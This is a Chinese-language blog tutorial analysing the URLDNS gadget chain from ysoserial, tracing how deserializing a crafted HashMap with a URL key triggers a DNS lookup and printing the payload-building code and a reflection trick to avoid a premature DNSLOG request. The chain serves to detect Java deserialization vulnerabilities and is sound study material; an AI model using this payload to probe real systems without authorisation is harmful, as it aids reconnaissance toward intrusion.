JAVA安全-URLDNS链分析

我正在参与掘金创作者训练营第5期,点击了解活动详情

引子

URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

但是它有以下优点:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

先说一下整个链的过程

HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
复制代码

我们可以通过这条链很容易判断是否存在反序列化漏洞

JAVA序列化与反序列化

SER

public static void serialize(  ) throws IOException {


    Student student = new Student();
    student.setName("CodeSheep");
    ObjectOutputStream objectOutputStream = 
        new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
    objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
    objectOutputStream.close();
    
    System.out.println("序列化成功");
}
复制代码

UNSER

public static void deserialize(  ) throws IOException, ClassNotFoundException {
    ObjectInputStream objectInputStream = 
        new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
    Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
    objectInputStream.close();
    
    System.out.println("反序列化结果为:");
    System.out.println( student );
复制代码

在序列化和反序列化时执行类自定义的readObject和writeObject,这就是我们利用的点

URLDNS

本链不作为攻击方法,只作为验证。

入口类HashMap:符合条件

1)入口类重写readObject方法

扫描二维码关注公众号,回复: 14437580 查看本文章

2)入口类可传入任意对象(这种类一般为集合类)

3)执行类可被利用执行危险或任意函数

public Object getObject(final String url) throws Exception {
        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
        return ht;
}
复制代码

代码很短,简单看一下,我们跟进HashMap类里看看

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
复制代码

可以看到重写了readobject方法,因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。

重点是其中的

putVal(hash(key), key, value, false, false);
复制代码

我们可以看到putVal调用了hash函数,跟进一下,发现这里使用传入参数对象keyhashCode方法。 至此我们可以知道key可能是可控的。那我们要怎样利用呢?

我们再来说一说hashCode方法,根据链子名称,我们看一下URL类的hashcode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
    hashCode = handler.hashCode(this);
    return hashCode;
}
复制代码

hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

handlerURLStreamHandler的实例,跟进handlerhashCode方法,接收URL类的实例,调⽤getHostAddress⽅法

我们继续跟进一下

protected int hashCode(URL u) {
    int h = 0;
    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
复制代码

到这我们可以看到跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。

整个链子的执行效果也就是进行DNS请求。链子的逻辑也就是:

HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
复制代码

注意点

经过上面的执行后大家会发现当我们执行这个链子时,DNSLOG会收到两次请求。这是因为我们还没有进行反序列化之前链子已经走完,就会请求一次DNS,这会对我们判断打没打通照成不小的影响。对于这里,我们可以通过反射机制来让hashCode不等于-1,修改方法:

反射爆破—>setAccessible

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);
复制代码

而在ysoserial中为了让HashMap在第一次put元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。

URLStreamHandler handler = new SilentURLStreamHandler();ht.put(new URL(null, url, handler), url); -->   putVal(hash(key), key, value, false, true) -->     hash(key) -->       URL.hashCode() -->          URLStreamHandler.hashCode(this) -->           SilentURLStreamHandler.getHostAddress(u) --> 空实现。
复制代码

至于为什么要设置为-1,hashCode值默认为-1,HashMap.put操作,会重置成员变量的值。

猜你喜欢

转载自juejin.im/post/7127619585569718285